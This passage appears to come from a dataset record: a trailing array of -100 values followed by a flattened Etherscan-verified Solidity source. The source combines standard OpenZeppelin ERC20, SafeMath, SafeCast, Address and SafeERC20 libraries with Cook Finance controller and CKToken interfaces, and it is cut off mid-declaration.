-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-08-02 */ // Sources flattened with hardhat v2.5.0 https://hardhat.org // File @openzeppelin/contracts/GSN/[email protected] pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File @openzeppelin/contracts/token/ERC20/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File @openzeppelin/contracts/math/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File @openzeppelin/contracts/token/ERC20/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File @openzeppelin/contracts/utils/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File @openzeppelin/contracts/math/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File @openzeppelin/contracts/utils/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128) { require(value >= -2**127 && value < 2**127, "SafeCast: value doesn\'t fit in 128 bits"); return int128(value); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64) { require(value >= -2**63 && value < 2**63, "SafeCast: value doesn\'t fit in 64 bits"); return int64(value); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32) { require(value >= -2**31 && value < 2**31, "SafeCast: value doesn\'t fit in 32 bits"); return int32(value); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16) { require(value >= -2**15 && value < 2**15, "SafeCast: value doesn\'t fit in 16 bits"); return int16(value); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8) { require(value >= -2**7 && value < 2**7, "SafeCast: value doesn\'t fit in 8 bits"); return int8(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { require(value < 2**255, "SafeCast: value doesn't fit in an int256"); return int256(value); } } // File @openzeppelin/contracts/utils/[email protected] pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/token/ERC20/[email protected] pragma solidity >=0.6.0 <0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File contracts/interfaces/IController.sol /* Copyright 2021 Cook Finance. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; interface IController { function addCK(address _ckToken) external; function feeRecipient() external view returns(address); function getModuleFee(address _module, uint256 _feeType) external view returns(uint256); function isModule(address _module) external view returns(bool); function isCK(address _ckToken) external view returns(bool); function isSystemContract(address _contractAddress) external view returns (bool); function resourceId(uint256 _id) external view returns(address); } // File contracts/interfaces/ICKToken.sol /* Copyright 2021 Cook Finance. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.6.10; pragma experimental "ABIEncoderV2"; /** * @title ICKToken * @author Cook Finance * * Interface for operating with CKTokens. */ interface ICKToken is IERC20 { /* ============ Enums ============ */ enum ModuleState { NONE, PENDING, INITIALIZED } /* ============ Structs ============ */ /** * The base definition of a CKToken Position * * @param component Address of token in the Position * @param module If not in default state, the address of associated module * @param unit Each unit is the # of components per 10^18 of a CKToken * @param positionState Position ENUM. Default is 0; External is 1 * @param data Arbitrary data */ struct Position { address component; address module; int256 unit; uint8 positionState; bytes data; } /** * A struct that stores a component's cash position details and external positions * This data structure allows O(1) access to a component's cash position units and * virtual units. * * @param virtualUnit Virtual value of a component's DEFAULT position. Stored as virtual for efficiency * updating all units at once via the position multiplier. Virtual units are achieved * by dividing a "real" value by the "positionMultiplier" * @param componentIndex * @param externalPositionModules List of external modules attached to each external position. Each module * maps to an external position * @param externalPositions Mapping of module => ExternalPosition struct for a given component */ struct ComponentPosition { int256 virtualUnit; address[] externalPositionModules; mapping(address => ExternalPosition) externalPositions; } /** * A struct that stores a component's external position details including virtual unit and any * auxiliary data. * * @param virtualUnit Virtual value of a component's EXTERNAL position. * @param data Arbitrary data */ struct ExternalPosition { int256 virtualUnit; bytes data; } /* ============ Functions ============ */ function addComponent(address _component) external; function removeComponent(address _component) external; function editDefaultPositionUnit(address _component, int256 _realUnit) external; function addExternalPositionModule(address _component, address _positionModule) external; function removeExternalPositionModule(address _component, address _positionModule) external; function editExternalPositionUnit(address _component, address _positionModule, int256 _realUnit) external; function editExternalPositionData(address _component, address _positionModule, bytes calldata _data) external; function invoke(address _target, uint256 _value, bytes calldata _data) external returns(bytes memory); function editPositionMultiplier(int256 _newMultiplier) external; function mint(address _account, uint256 _quantity) external; function burn(address _account, uint256 _quantity) external; function lock() external; function unlock() external; function addModule(address _module) external; function removeModule(address _module) external; function initializeModule() external; function setManager(address _manager) external; function manager() external view returns (address); function moduleStates(address _module) external view returns (ModuleState); function getModules() external view returns (address[] memory); function getDefaultPositionRealUnit(address _component) external view returns(int256); function getExternalPositionRealUnit(address _component, address _positionModule) external view returns(int256); function getComponents() external view returns(address[] memory); function getExternalPositionModules(address _component) external view returns(address[] memory); function getExternalPositionData(address _component, address _positionModule) external view returns(bytes memory); function isExternalPositionModule(address _component, address _module) external view returns(bool); function isComponent(address _component) external view returns(bool); function positionMultiplier() external view returns (int256); function getPositions() external view returns (Position[] memory); function 